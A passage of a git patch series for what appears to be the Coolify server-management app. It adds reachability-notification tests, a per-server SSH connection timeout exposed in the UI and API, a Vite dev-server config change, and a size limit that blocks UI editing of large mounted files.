Notification::assertNothingSent(); +}); + +it('does not send Unreachable when already notified', function () { + $this->server->settings()->update(['is_reachable' => false]); + $this->server->forceFill([ + 'unreachable_count' => 5, + 'unreachable_notification_sent' => true, + ])->save(); + + ServerReachabilityChanged::dispatch($this->server->fresh()); + + Notification::assertNothingSent(); +}); + +it('sends Reachable notification on recovery when previously notified', function () { + $this->server->settings()->update(['is_reachable' => true]); + $this->server->forceFill([ + 'unreachable_count' => 0, + 'unreachable_notification_sent' => true, + ])->save(); + + $fresh = $this->server->fresh(); + expect($fresh->unreachable_notification_sent)->toBeTrue(); + expect((bool) $fresh->settings->is_reachable)->toBeTrue(); + + ServerReachabilityChanged::dispatch($fresh); + + Notification::assertSentTo($this->team, Reachable::class); + expect($this->server->fresh()->unreachable_notification_sent)->toBeFalse(); +}); + +it('does not send Reachable when never notified', function () { + $this->server->settings()->update(['is_reachable' => true]); + $this->server->forceFill([ + 'unreachable_count' => 0, + 'unreachable_notification_sent' => false, + ])->save(); + + ServerReachabilityChanged::dispatch($this->server->fresh()); + + Notification::assertNothingSent(); +}); + +it('routes Unreachable notification through EmailChannel when email toggle is on', function () { + $this->server->settings()->update(['is_reachable' => false]); + $this->server->forceFill([ + 'unreachable_count' => 2, + 'unreachable_notification_sent' => false, + ])->save(); + + ServerReachabilityChanged::dispatch($this->server->fresh()); + + Notification::assertSentTo($this->team, Unreachable::class, function ($notification, $channels) { + return in_array(EmailChannel::class, $channels); + }); +}); diff --git a/tests/Unit/IsReachableChangedTest.php b/tests/Unit/IsReachableChangedTest.php new file mode 100644 index 000000000..76f9863bf --- /dev/null +++ b/tests/Unit/IsReachableChangedTest.php @@ -0,0 +1,61 @@ +is_reachable = $isReachable; + + $server = Mockery::mock(Server::class)->makePartial()->shouldAllowMockingProtectedMethods(); + $server->shouldReceive('refresh')->andReturnSelf(); + $server->shouldReceive('getAttribute')->with('settings')->andReturn($settings); + $server->shouldReceive('getAttribute')->with('unreachable_notification_sent')->andReturn($notificationSent); + $server->shouldReceive('getAttribute')->with('unreachable_count')->andReturn($unreachableCount); + + return $server; +} + +it('sends Reachable notification when reachable and notification was previously sent', function () { + $server = makeServerForReachabilityTest(isReachable: true, notificationSent: true, unreachableCount: 0); + $server->shouldReceive('sendReachableNotification')->once(); + $server->shouldNotReceive('sendUnreachableNotification'); + + $server->isReachableChanged(); +}); + +it('does not send any notification when reachable and notification was never sent', function () { + $server = makeServerForReachabilityTest(isReachable: true, notificationSent: false, unreachableCount: 0); + $server->shouldNotReceive('sendReachableNotification'); + $server->shouldNotReceive('sendUnreachableNotification'); + + $server->isReachableChanged(); +}); + +it('sends Unreachable notification when count >= 2 and not yet notified', function () { + $server = makeServerForReachabilityTest(isReachable: false, notificationSent: false, unreachableCount: 2); + $server->shouldReceive('sendUnreachableNotification')->once(); + $server->shouldNotReceive('sendReachableNotification'); + + $server->isReachableChanged(); +}); + +it('does not send Unreachable notification on first transient failure (count=1)', function () { + $server = makeServerForReachabilityTest(isReachable: false, notificationSent: false, unreachableCount: 1); + $server->shouldNotReceive('sendUnreachableNotification'); + $server->shouldNotReceive('sendReachableNotification'); + + $server->isReachableChanged(); +}); + +it('does not double-send Unreachable when already notified', function () { + $server = makeServerForReachabilityTest(isReachable: false, notificationSent: true, unreachableCount: 5); + $server->shouldNotReceive('sendUnreachableNotification'); + $server->shouldNotReceive('sendReachableNotification'); + + $server->isReachableChanged(); +}); diff --git a/tests/Unit/ServerBackoffTest.php b/tests/Unit/ServerBackoffTest.php index bdcefb74f..9f1f747d4 100644 --- a/tests/Unit/ServerBackoffTest.php +++ b/tests/Unit/ServerBackoffTest.php @@ -1,11 +1,13 @@ is_reachable = true; $settings->shouldReceive('update') ->with(['is_reachable' => false, 'is_usable' => false]) ->once(); $server = Mockery::mock(Server::class)->makePartial()->shouldAllowMockingProtectedMethods(); $server->shouldReceive('getAttribute')->with('settings')->andReturn($settings); + $server->shouldReceive('getAttribute')->with('unreachable_notification_sent')->andReturn(false); $server->shouldReceive('increment')->with('unreachable_count')->once(); $server->id = 1; $server->name = 'test-server'; + $server->unreachable_count = 1; // Will become 2 after increment in real code; mock keeps value as-is $job = new ServerConnectionCheckJob($server); $job->failed(new TimeoutExceededException); @@ -152,6 +159,50 @@ }); }); +describe('ServerConnectionCheckJob ServerReachabilityChanged dispatch', function () { + // ServerReachabilityChanged's constructor calls $server->isReachableChanged() — verifying that + // call is a clean proxy for "the event was dispatched", and avoids serializing a Mockery proxy + // through the event dispatcher (which trips Eloquent static method lookups on the proxy class). + $invoke = function (bool $wasReachable, bool $wasNotified, bool $isReachable, int $unreachableCount, bool $expectDispatch) { + $server = Mockery::mock(Server::class)->makePartial()->shouldAllowMockingProtectedMethods(); + $server->shouldReceive('getAttribute')->with('unreachable_count')->andReturn($unreachableCount); + $server->shouldReceive('getAttribute')->with('id')->andReturn(1); + if ($expectDispatch) { + $server->shouldReceive('isReachableChanged')->once()->andReturnNull(); + } else { + $server->shouldNotReceive('isReachableChanged'); + } + + $job = new ServerConnectionCheckJob($server); + $method = new ReflectionMethod($job, 'dispatchReachabilityChangedIfNeeded'); + $method->invoke($job, $wasReachable, $wasNotified, $isReachable); + }; + + it('dispatches event when count crosses unreachable threshold', function () use ($invoke) { + $invoke(true, false, false, 2, true); + }); + + it('does not dispatch on first transient failure (count=1)', function () use ($invoke) { + $invoke(true, false, false, 1, false); + }); + + it('does not dispatch when already notified and still unreachable', function () use ($invoke) { + $invoke(false, true, false, 5, false); + }); + + it('dispatches recovery event when previously unreachable', function () use ($invoke) { + $invoke(false, false, true, 0, true); + }); + + it('dispatches recovery event when previously notified', function () use ($invoke) { + $invoke(true, true, true, 0, true); + }); + + it('does not dispatch when consistently reachable and never notified', function () use ($invoke) { + $invoke(true, false, true, 0, false); + }); +}); + describe('ServerCheckJob unreachable_count', function () { it('increments unreachable_count on timeout', function () { $server = Mockery::mock(Server::class)->makePartial()->shouldAllowMockingProtectedMethods(); From 6293b14586b1dd7e23de9a121963a4ff22ea4eb6 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Tue, 28 Apr 2026 15:39:36 +0200 Subject: [PATCH 103/329] feat(server): add configurable SSH connection timeout per server MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Add `connection_timeout` field to server settings, allowing per-server override of the global SSH connection timeout constant. - Migration adds `connection_timeout` integer column (default 10s) - `ServerSetting` model exposes and casts the new field - `SshMultiplexingHelper::getConnectionTimeout()` resolves per-server value with fallback to `constants.ssh.connection_timeout` - All SSH/SCP command builders use the new resolver instead of the global config directly - Livewire `Show` component binds `connectionTimeout` with validation (1–300 seconds) and syncs to/from the model - UI input added to server settings form with helper text - Feature tests cover default, persistence, resolver, and fallback --- app/Helpers/SshMultiplexingHelper.php | 15 +++++-- app/Livewire/Server/Show.php | 13 +++++- app/Models/ServerSetting.php | 3 ++ ..._connection_timeout_to_server_settings.php | 22 ++++++++++ openapi.json | 4 ++ openapi.yaml | 3 ++ .../views/livewire/server/show.blade.php | 6 +++ tests/Feature/ServerConnectionTimeoutTest.php | 43 +++++++++++++++++++ 8 files changed, 104 insertions(+), 5 deletions(-) create mode 100644 database/migrations/2026_04_28_151408_add_connection_timeout_to_server_settings.php create mode 100644 tests/Feature/ServerConnectionTimeoutTest.php diff --git a/app/Helpers/SshMultiplexingHelper.php b/app/Helpers/SshMultiplexingHelper.php index aa9d06996..4629df571 100644 --- a/app/Helpers/SshMultiplexingHelper.php +++ b/app/Helpers/SshMultiplexingHelper.php @@ -71,7 +71,7 @@ public static function establishNewMultiplexedConnection(Server $server): bool $sshConfig = self::serverSshConfiguration($server); $sshKeyLocation = $sshConfig['sshKeyLocation']; $muxSocket = $sshConfig['muxFilename']; - $connectionTimeout = config('constants.ssh.connection_timeout'); + $connectionTimeout = self::getConnectionTimeout($server); $serverInterval = config('constants.ssh.server_interval'); $muxPersistTime = config('constants.ssh.mux_persist_time'); @@ -140,7 +140,7 @@ public static function generateScpCommand(Server $server, string $source, string $scp_command .= '-o ProxyCommand="cloudflared access ssh --hostname %h" '; } - $scp_command .= self::getCommonSshOptions($server, $sshKeyLocation, config('constants.ssh.connection_timeout'), config('constants.ssh.server_interval'), isScp: true); + $scp_command .= self::getCommonSshOptions($server, $sshKeyLocation, self::getConnectionTimeout($server), config('constants.ssh.server_interval'), isScp: true); if ($server->isIpv6()) { $scp_command .= "{$source} ".escapeshellarg($server->user).'@['.escapeshellarg($server->ip)."]:{$dest}"; } else { @@ -184,7 +184,7 @@ public static function generateSshCommand(Server $server, string $command, bool $ssh_command .= "-o ProxyCommand='cloudflared access ssh --hostname %h' "; } - $ssh_command .= self::getCommonSshOptions($server, $sshKeyLocation, config('constants.ssh.connection_timeout'), config('constants.ssh.server_interval')); + $ssh_command .= self::getCommonSshOptions($server, $sshKeyLocation, self::getConnectionTimeout($server), config('constants.ssh.server_interval')); $delimiter = Hash::make($command); $delimiter = base64_encode($delimiter); @@ -243,6 +243,15 @@ private static function validateSshKey(PrivateKey $privateKey): void } } + public static function getConnectionTimeout(Server $server): int + { + $timeout = data_get($server, 'settings.connection_timeout'); + + return is_numeric($timeout) && (int) $timeout > 0 + ? (int) $timeout + : (int) config('constants.ssh.connection_timeout'); + } + private static function getCommonSshOptions(Server $server, string $sshKeyLocation, int $connectionTimeout, int $serverInterval, bool $isScp = false): string { $options = "-i {$sshKeyLocation} " diff --git a/app/Livewire/Server/Show.php b/app/Livewire/Server/Show.php index 84cb65ee6..3e05d9306 100644 --- a/app/Livewire/Server/Show.php +++ b/app/Livewire/Server/Show.php @@ -32,6 +32,8 @@ class Show extends Component public string $port; + public int $connectionTimeout; + public ?string $validationLogs = null; public ?string $wildcardDomain = null; @@ -110,6 +112,7 @@ protected function rules(): array 'ip' => ['required', new ValidServerIp], 'user' => ['required', 'regex:/^[a-zA-Z0-9_-]+$/'], 'port' => 'required|integer|between:1,65535', + 'connectionTimeout' => 'required|integer|min:1|max:300', 'validationLogs' => 'nullable', 'wildcardDomain' => 'nullable|url', 'isReachable' => 'required', @@ -138,6 +141,10 @@ protected function messages(): array 'ip.required' => 'The IP Address field is required.', 'user.required' => 'The User field is required.', 'port.required' => 'The Port field is required.', + 'connectionTimeout.required' => 'The SSH Connection Timeout field is required.', + 'connectionTimeout.integer' => 'The SSH Connection Timeout must be an integer.', + 'connectionTimeout.min' => 'The SSH Connection Timeout must be at least 1 second.', + 'connectionTimeout.max' => 'The SSH Connection Timeout must not exceed 300 seconds.', 'wildcardDomain.url' => 'The Wildcard Domain must be a valid URL.', 'sentinelToken.required' => 'The Sentinel Token field is required.', 'sentinelMetricsRefreshRateSeconds.required' => 'The Metrics Refresh Rate field is required.', @@ -210,6 +217,7 @@ public function syncData(bool $toModel = false) $this->server->validation_logs = $this->validationLogs; $this->server->save(); + $this->server->settings->connection_timeout = $this->connectionTimeout; $this->server->settings->is_swarm_manager = $this->isSwarmManager; $this->server->settings->wildcard_domain = $this->wildcardDomain; $this->server->settings->is_swarm_worker = $this->isSwarmWorker; @@ -237,6 +245,7 @@ public function syncData(bool $toModel = false) $this->ip = $this->server->ip; $this->user = $this->server->user; $this->port = $this->server->port; + $this->connectionTimeout = $this->server->settings->connection_timeout; $this->wildcardDomain = $this->server->settings->wildcard_domain; $this->isReachable = $this->server->settings->is_reachable; @@ -407,7 +416,7 @@ public function checkHetznerServerStatus(bool $manual = false) return; } - $hetznerService = new \App\Services\HetznerService($this->server->cloudProviderToken->token); + $hetznerService = new HetznerService($this->server->cloudProviderToken->token); $serverData = $hetznerService->getServer($this->server->hetzner_server_id); $this->hetznerServerStatus = $serverData['status'] ?? null; @@ -471,7 +480,7 @@ public function startHetznerServer() return; } - $hetznerService = new \App\Services\HetznerService($this->server->cloudProviderToken->token); + $hetznerService = new HetznerService($this->server->cloudProviderToken->token); $hetznerService->powerOnServer($this->server->hetzner_server_id); $this->hetznerServerStatus = 'starting'; diff --git a/app/Models/ServerSetting.php b/app/Models/ServerSetting.php index 30fc1e165..8d85c8932 100644 --- a/app/Models/ServerSetting.php +++ b/app/Models/ServerSetting.php @@ -49,6 +49,7 @@ 'updated_at' => ['type' => 'string'], 'delete_unused_volumes' => ['type' => 'boolean', 'description' => 'The flag to indicate if the unused volumes should be deleted.'], 'delete_unused_networks' => ['type' => 'boolean', 'description' => 'The flag to indicate if the unused networks should be deleted.'], + 'connection_timeout' => ['type' => 'integer', 'description' => 'SSH connection timeout in seconds.'], ] )] class ServerSetting extends Model @@ -97,6 +98,7 @@ class ServerSetting extends Model 'is_terminal_enabled', 'deployment_queue_limit', 'disable_application_image_retention', + 'connection_timeout', ]; protected $casts = [ @@ -108,6 +110,7 @@ class ServerSetting extends Model 'is_usable' => 'boolean', 'is_terminal_enabled' => 'boolean', 'disable_application_image_retention' => 'boolean', + 'connection_timeout' => 'integer', ]; protected static function booted() diff --git a/database/migrations/2026_04_28_151408_add_connection_timeout_to_server_settings.php b/database/migrations/2026_04_28_151408_add_connection_timeout_to_server_settings.php new file mode 100644 index 000000000..1700feebc --- /dev/null +++ b/database/migrations/2026_04_28_151408_add_connection_timeout_to_server_settings.php @@ -0,0 +1,22 @@ +integer('connection_timeout')->default(10)->after('deployment_queue_limit'); + }); + } + + public function down(): void + { + Schema::table('server_settings', function (Blueprint $table) { + $table->dropColumn('connection_timeout'); + }); + } +}; diff --git a/openapi.json b/openapi.json index 09232be2f..8b3d5b91f 100644 --- a/openapi.json +++ b/openapi.json @@ -13349,6 +13349,10 @@ "delete_unused_networks": { "type": "boolean", "description": "The flag to indicate if the unused networks should be deleted." + }, + "connection_timeout": { + "type": "integer", + "description": "SSH connection timeout in seconds." } }, "type": "object" diff --git a/openapi.yaml b/openapi.yaml index d6a8d7635..07d9b6095 100644 --- a/openapi.yaml +++ b/openapi.yaml @@ -8538,6 +8538,9 @@ components: delete_unused_networks: type: boolean description: 'The flag to indicate if the unused networks should be deleted.' + connection_timeout: + type: integer + description: 'SSH connection timeout in seconds.' type: object Service: description: 'Service model' diff --git a/resources/views/livewire/server/show.blade.php b/resources/views/livewire/server/show.blade.php index d694174d5..cfbeccd0c 100644 --- a/resources/views/livewire/server/show.blade.php +++ b/resources/views/livewire/server/show.blade.php @@ -191,6 +191,12 @@ class="mt-8 mb-4 w-full font-bold box-without-bg bg-coollabs hover:bg-coollabs-1 label="Port" required :disabled="$isValidating" />
+
+ +
diff --git a/tests/Feature/ServerConnectionTimeoutTest.php b/tests/Feature/ServerConnectionTimeoutTest.php new file mode 100644 index 000000000..b457f3f01 --- /dev/null +++ b/tests/Feature/ServerConnectionTimeoutTest.php @@ -0,0 +1,43 @@ +create(); + $this->team = $user->teams()->first(); + $this->server = Server::factory()->create([ + 'team_id' => $this->team->id, + ]); +}); + +it('defaults connection_timeout to 10 seconds for new servers', function () { + expect($this->server->settings->connection_timeout)->toBe(10); +}); + +it('persists a custom connection_timeout value', function () { + $this->server->settings->connection_timeout = 30; + $this->server->settings->save(); + + expect($this->server->settings->fresh()->connection_timeout)->toBe(30); +}); + +it('returns the per-server connection_timeout from getConnectionTimeout', function () { + $this->server->settings->connection_timeout = 45; + $this->server->settings->save(); + + expect(SshMultiplexingHelper::getConnectionTimeout($this->server->fresh()))->toBe(45); +}); + +it('falls back to config default when connection_timeout is invalid', function () { + $this->server->settings->connection_timeout = 0; + $this->server->settings->saveQuietly(); + + $expected = (int) config('constants.ssh.connection_timeout'); + + expect(SshMultiplexingHelper::getConnectionTimeout($this->server->fresh()))->toBe($expected); +}); From 4a2e37e87fd66540e87dba7fada0083f9840fbe0 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Tue, 28 Apr 2026 15:41:04 +0200 Subject: [PATCH 104/329] chore(dev): replace minio image with maxio:latest in docker-compose.dev --- docker-compose.dev.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/docker-compose.dev.yml b/docker-compose.dev.yml index f608fe3cb..82b7edb44 100644 --- a/docker-compose.dev.yml +++ b/docker-compose.dev.yml @@ -129,7 +129,7 @@ services: networks: - coolify minio: - image: ghcr.io/coollabsio/minio:RELEASE.2025-10-15T17-29-55Z # Released on 15 October 2025 + image: ghcr.io/coollabsio/maxio:latest pull_policy: always container_name: coolify-minio command: server /data --console-address ":9001" From 9bb819c33ea6d327377038717d402851e9697726 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Tue, 28 Apr 2026 15:43:58 +0200 Subject: [PATCH 105/329] feat(api): expose connection_timeout in servers API Add connection_timeout to create_server docs, update_server allowed fields, validation (integer 1-300), and advanced settings update path. --- app/Http/Controllers/Api/ServersController.php | 6 ++++-- openapi.json | 4 ++++ openapi.yaml | 3 +++ 3 files changed, 11 insertions(+), 2 deletions(-) diff --git a/app/Http/Controllers/Api/ServersController.php b/app/Http/Controllers/Api/ServersController.php index b33e85c78..6c3b2da00 100644 --- a/app/Http/Controllers/Api/ServersController.php +++ b/app/Http/Controllers/Api/ServersController.php @@ -612,6 +612,7 @@ public function create_server(Request $request) 'deployment_queue_limit' => ['type' => 'integer', 'description' => 'Maximum number of queued deployments.'], 'server_disk_usage_notification_threshold' => ['type' => 'integer', 'description' => 'Server disk usage notification threshold (%).'], 'server_disk_usage_check_frequency' => ['type' => 'string', 'description' => 'Cron expression for disk usage check frequency.'], + 'connection_timeout' => ['type' => 'integer', 'description' => 'SSH connection timeout in seconds (1-300). Default: 10.'], ], ), ), @@ -648,7 +649,7 @@ public function create_server(Request $request) )] public function update_server(Request $request) { - $allowedFields = ['name', 'description', 'ip', 'port', 'user', 'private_key_uuid', 'is_build_server', 'instant_validate', 'proxy_type', 'concurrent_builds', 'dynamic_timeout', 'deployment_queue_limit', 'server_disk_usage_notification_threshold', 'server_disk_usage_check_frequency']; + $allowedFields = ['name', 'description', 'ip', 'port', 'user', 'private_key_uuid', 'is_build_server', 'instant_validate', 'proxy_type', 'concurrent_builds', 'dynamic_timeout', 'deployment_queue_limit', 'server_disk_usage_notification_threshold', 'server_disk_usage_check_frequency', 'connection_timeout']; $teamId = getTeamIdFromToken(); if (is_null($teamId)) { @@ -674,6 +675,7 @@ public function update_server(Request $request) 'deployment_queue_limit' => 'integer|min:1', 'server_disk_usage_notification_threshold' => 'integer|min:1|max:100', 'server_disk_usage_check_frequency' => 'string', + 'connection_timeout' => 'integer|min:1|max:300', ]); $extraFields = array_diff(array_keys($request->all()), $allowedFields); @@ -718,7 +720,7 @@ public function update_server(Request $request) ], 422); } - $advancedSettings = $request->only(['concurrent_builds', 'dynamic_timeout', 'deployment_queue_limit', 'server_disk_usage_notification_threshold', 'server_disk_usage_check_frequency']); + $advancedSettings = $request->only(['concurrent_builds', 'dynamic_timeout', 'deployment_queue_limit', 'server_disk_usage_notification_threshold', 'server_disk_usage_check_frequency', 'connection_timeout']); if (! empty($advancedSettings)) { $server->settings()->update(array_filter($advancedSettings, fn ($value) => ! is_null($value))); } diff --git a/openapi.json b/openapi.json index 8b3d5b91f..059b3d911 100644 --- a/openapi.json +++ b/openapi.json @@ -10545,6 +10545,10 @@ "server_disk_usage_check_frequency": { "type": "string", "description": "Cron expression for disk usage check frequency." + }, + "connection_timeout": { + "type": "integer", + "description": "SSH connection timeout in seconds (1-300). Default: 10." } }, "type": "object" diff --git a/openapi.yaml b/openapi.yaml index 07d9b6095..83aa30744 100644 --- a/openapi.yaml +++ b/openapi.yaml @@ -6734,6 +6734,9 @@ paths: server_disk_usage_check_frequency: type: string description: 'Cron expression for disk usage check frequency.' + connection_timeout: + type: integer + description: 'SSH connection timeout in seconds (1-300). Default: 10.' type: object responses: '201': From e8dc48e058e6c21df89b0262e3fdbd47d60db059 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Tue, 28 Apr 2026 22:06:20 +0200 Subject: [PATCH 106/329] fix(vite): make dev server host/port configurable via env vars Replace hardcoded HMR host with VITE_HOST/VITE_PORT env vars. Set allowedHosts to true and derive origin/HMR config from env, falling back to defaults when vars are absent. --- vite.config.js | 10 +++++++--- 1 file changed, 7 insertions(+), 3 deletions(-) diff --git a/vite.config.js b/vite.config.js index fc739c95d..4b967c40e 100644 --- a/vite.config.js +++ b/vite.config.js @@ -4,6 +4,8 @@ import vue from "@vitejs/plugin-vue"; export default defineConfig(({ mode }) => { const env = loadEnv(mode, process.cwd(), '') + const viteHost = env.VITE_HOST || null; + const vitePort = Number(env.VITE_PORT || 5173); return { server: { @@ -14,9 +16,11 @@ export default defineConfig(({ mode }) => { ], }, host: "0.0.0.0", - hmr: { - host: env.VITE_HOST || '0.0.0.0' - }, + allowedHosts: true, + origin: viteHost ? `http://${viteHost}:${vitePort}` : undefined, + hmr: viteHost + ? { host: viteHost, clientPort: vitePort } + : true, }, plugins: [ laravel({ From 19994a0a135ab06cd52e4869cfa5aeffd9455a8e Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Tue, 28 Apr 2026 22:20:15 +0200 Subject: [PATCH 107/329] test(api): add feature tests for server connection_timeout API Tests cover PATCH update success, out-of-range, above-max, and non-integer validation for the connection_timeout field. --- .../ServerConnectionTimeoutApiTest.php | 74 +++++++++++++++++++ 1 file changed, 74 insertions(+) create mode 100644 tests/Feature/ServerConnectionTimeoutApiTest.php diff --git a/tests/Feature/ServerConnectionTimeoutApiTest.php b/tests/Feature/ServerConnectionTimeoutApiTest.php new file mode 100644 index 000000000..287122523 --- /dev/null +++ b/tests/Feature/ServerConnectionTimeoutApiTest.php @@ -0,0 +1,74 @@ + 0, 'is_api_enabled' => true]); + + $this->team = Team::factory()->create(); + $this->user = User::factory()->create(); + $this->team->members()->attach($this->user->id, ['role' => 'owner']); + session(['currentTeam' => $this->team]); + + $this->server = Server::factory()->create([ + 'team_id' => $this->team->id, + ]); + + $newToken = $this->user->createToken('write-token', ['write']); + $newToken->accessToken->forceFill(['team_id' => $this->team->id])->save(); + $this->token = $newToken->plainTextToken; +}); + +it('PATCH updates connection_timeout via API', function () { + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$this->token, + 'Content-Type' => 'application/json', + ])->patchJson('/api/v1/servers/'.$this->server->uuid, [ + 'connection_timeout' => 45, + ]); + + $response->assertStatus(201); + expect($this->server->settings->fresh()->connection_timeout)->toBe(45); +}); + +it('PATCH rejects connection_timeout out of range', function () { + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$this->token, + 'Content-Type' => 'application/json', + ])->patchJson('/api/v1/servers/'.$this->server->uuid, [ + 'connection_timeout' => 0, + ]); + + $response->assertStatus(422); + $response->assertJsonStructure(['errors' => ['connection_timeout']]); +}); + +it('PATCH rejects connection_timeout above max', function () { + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$this->token, + 'Content-Type' => 'application/json', + ])->patchJson('/api/v1/servers/'.$this->server->uuid, [ + 'connection_timeout' => 999, + ]); + + $response->assertStatus(422); + $response->assertJsonStructure(['errors' => ['connection_timeout']]); +}); + +it('PATCH rejects non-integer connection_timeout', function () { + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$this->token, + 'Content-Type' => 'application/json', + ])->patchJson('/api/v1/servers/'.$this->server->uuid, [ + 'connection_timeout' => 'fast', + ]); + + $response->assertStatus(422); + $response->assertJsonStructure(['errors' => ['connection_timeout']]); +}); From eaaf258f25ea1a793885e3027072b49543dd2ac3 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Tue, 28 Apr 2026 22:36:56 +0200 Subject: [PATCH 108/329] fix(service): block UI editing of file volumes exceeding 5 MiB MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Large host files mounted via Docker volumes caused the storages page to become unusable — full file content was stored in the encrypted mediumText column and serialised into the Livewire payload, crashing the browser. - Add MAX_CONTENT_SIZE (5 MiB), BINARY_PLACEHOLDER, and TOO_LARGE_PLACEHOLDER constants to LocalFileVolume - Check remote file size via stat/wc before cat in loadStorageOnServer and saveStorageOnServer; store placeholder instead of content when limit exceeded - Expose is_too_large computed attribute (appended for Livewire serialisation) - Guard submit, instantSave, and syncData in FileStorage Livewire component - Truncate oversized content in Storage::refreshStorages to prevent payload bloat - Show distinct warning banner in file-storage blade; mark textarea readonly and hide Save/Convert buttons for too-large files - Add unit tests covering constants, computed flags, and toArray serialisation Fixes #4701 --- app/Livewire/Project/Service/FileStorage.php | 16 ++++- app/Livewire/Project/Service/Storage.php | 6 +- app/Models/LocalFileVolume.php | 47 +++++++++++-- .../project/service/file-storage.blade.php | 12 ++-- tests/Unit/LocalFileVolumeContentSizeTest.php | 66 +++++++++++++++++++ 5 files changed, 134 insertions(+), 13 deletions(-) create mode 100644 tests/Unit/LocalFileVolumeContentSizeTest.php diff --git a/app/Livewire/Project/Service/FileStorage.php b/app/Livewire/Project/Service/FileStorage.php index 844e37854..2f1a229b4 100644 --- a/app/Livewire/Project/Service/FileStorage.php +++ b/app/Livewire/Project/Service/FileStorage.php @@ -63,13 +63,16 @@ public function mount() $this->fs_path = $this->fileStorage->fs_path; } - $this->isReadOnly = $this->fileStorage->shouldBeReadOnlyInUI(); + $this->isReadOnly = $this->fileStorage->shouldBeReadOnlyInUI() || $this->fileStorage->is_too_large; $this->syncData(); } public function syncData(bool $toModel = false): void { if ($toModel) { + if ($this->fileStorage->is_too_large) { + return; + } $this->validate(); // Sync to model @@ -172,6 +175,12 @@ public function submit() { $this->authorize('update', $this->resource); + if ($this->fileStorage->is_too_large) { + $this->dispatch('error', 'File on server is too large to edit from the UI.'); + + return; + } + $original = $this->fileStorage->getOriginal(); try { $this->validate(); @@ -197,6 +206,11 @@ public function submit() public function instantSave(): void { $this->authorize('update', $this->resource); + if ($this->fileStorage->is_too_large) { + $this->dispatch('error', 'File on server is too large to edit from the UI.'); + + return; + } $this->syncData(true); $this->dispatch('success', 'File updated.'); } diff --git a/app/Livewire/Project/Service/Storage.php b/app/Livewire/Project/Service/Storage.php index 6f43662d5..30655691a 100644 --- a/app/Livewire/Project/Service/Storage.php +++ b/app/Livewire/Project/Service/Storage.php @@ -69,7 +69,11 @@ public function refreshStoragesFromEvent() public function refreshStorages() { - $this->fileStorage = $this->resource->fileStorages()->get(); + $this->fileStorage = $this->resource->fileStorages()->get()->each(function (LocalFileVolume $fs) { + if (strlen((string) $fs->content) > LocalFileVolume::MAX_CONTENT_SIZE) { + $fs->content = LocalFileVolume::TOO_LARGE_PLACEHOLDER; + } + }); $this->resource->load('persistentStorages.resource'); } diff --git a/app/Models/LocalFileVolume.php b/app/Models/LocalFileVolume.php index 4b5c602c2..627750232 100644 --- a/app/Models/LocalFileVolume.php +++ b/app/Models/LocalFileVolume.php @@ -10,6 +10,12 @@ class LocalFileVolume extends BaseModel { + public const MAX_CONTENT_SIZE = 5_242_880; + + public const BINARY_PLACEHOLDER = '[binary file]'; + + public const TOO_LARGE_PLACEHOLDER = '[file too large to display]'; + protected $casts = [ // 'fs_path' => 'encrypted', // 'mount_path' => 'encrypted', @@ -33,7 +39,7 @@ class LocalFileVolume extends BaseModel 'is_preview_suffix_enabled', ]; - public $appends = ['is_binary']; + public $appends = ['is_binary', 'is_too_large']; protected static function booted() { @@ -46,9 +52,14 @@ protected static function booted() protected function isBinary(): Attribute { return Attribute::make( - get: function () { - return $this->content === '[binary file]'; - } + get: fn () => $this->content === self::BINARY_PLACEHOLDER + ); + } + + protected function isTooLarge(): Attribute + { + return Attribute::make( + get: fn () => $this->content === self::TOO_LARGE_PLACEHOLDER ); } @@ -81,10 +92,17 @@ public function loadStorageOnServer() $isFile = instant_remote_process(["test -f {$escapedPath} && echo OK || echo NOK"], $server); if ($isFile === 'OK') { + if ($this->remoteFileExceedsLimit($escapedPath, $server)) { + $this->content = self::TOO_LARGE_PLACEHOLDER; + $this->is_directory = false; + $this->save(); + + return; + } $content = instant_remote_process(["cat {$escapedPath}"], $server, false); // Check if content contains binary data by looking for null bytes or non-printable characters if (str_contains($content, "\0") || preg_match('/[\x00-\x08\x0B\x0C\x0E-\x1F]/', $content)) { - $content = '[binary file]'; + $content = self::BINARY_PLACEHOLDER; } $this->content = $content; $this->is_directory = false; @@ -92,6 +110,18 @@ public function loadStorageOnServer() } } + protected function remoteFileExceedsLimit(string $escapedPath, $server): bool + { + $sizeOutput = instant_remote_process( + ["stat -c%s {$escapedPath} 2>/dev/null || wc -c < {$escapedPath}"], + $server, + false, + ); + $size = (int) trim((string) $sizeOutput); + + return $size > self::MAX_CONTENT_SIZE; + } + public function deleteStorageOnServer() { $this->load(['service']); @@ -173,9 +203,12 @@ public function saveStorageOnServer() $isFile = instant_remote_process(["test -f {$escapedPath} && echo OK || echo NOK"], $server); $isDir = instant_remote_process(["test -d {$escapedPath} && echo OK || echo NOK"], $server); if ($isFile === 'OK' && $this->is_directory) { - $content = instant_remote_process(["cat {$escapedPath}"], $server, false); + if ($this->remoteFileExceedsLimit($escapedPath, $server)) { + $this->content = self::TOO_LARGE_PLACEHOLDER; + } else { + $this->content = instant_remote_process(["cat {$escapedPath}"], $server, false); + } $this->is_directory = false; - $this->content = $content; $this->save(); FileStorageChanged::dispatch(data_get($server, 'team_id')); throw new \Exception('The following file is a file on the server, but you are trying to mark it as a directory. Please delete the file on the server or mark it as directory.'); diff --git a/resources/views/livewire/project/service/file-storage.blade.php b/resources/views/livewire/project/service/file-storage.blade.php index 48eb935ab..b7f68c6ec 100644 --- a/resources/views/livewire/project/service/file-storage.blade.php +++ b/resources/views/livewire/project/service/file-storage.blade.php @@ -1,6 